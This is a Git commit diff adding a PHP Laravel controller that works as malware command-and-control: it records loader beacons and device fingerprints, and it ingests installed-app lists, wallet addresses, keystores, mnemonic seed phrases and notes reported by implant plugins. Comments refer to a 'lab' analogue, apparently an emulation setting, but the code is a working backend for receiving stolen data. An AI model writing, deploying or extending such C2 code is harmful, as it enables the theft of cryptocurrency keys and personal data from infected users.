feat: xxbb
This commit is contained in:
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
public function vhx(): Response
|
||||
{
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
$payload = $request->json()->all();
|
||||
if ($payload === []) {
|
||||
$decoded = json_decode((string) $request->getContent(), true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64) {
|
||||
$uid = $domain !== '' ? $domain : (string) $request->ip();
|
||||
$uid = substr($uid, 0, 64);
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid !== '' ? $uid : 'iptj',
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/get */
|
||||
public function apps(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/put */
|
||||
public function event(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin reports: /uj /us /ub /ba /result.
|
||||
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||
*/
|
||||
public function plugin(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$result = $payload['result'];
|
||||
$asKeystore = is_array($result);
|
||||
if (is_string($result)) {
|
||||
$decoded = json_decode($result, true);
|
||||
$asKeystore = is_array($decoded);
|
||||
}
|
||||
if ($asKeystore) {
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
} else {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
if ($ts === '') {
|
||||
$ts = (string) ($request->header('x-ts') ?: '');
|
||||
}
|
||||
if ($ts === '') {
|
||||
$ts = (string) (int) round(microtime(true) * 1000);
|
||||
}
|
||||
|
||||
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user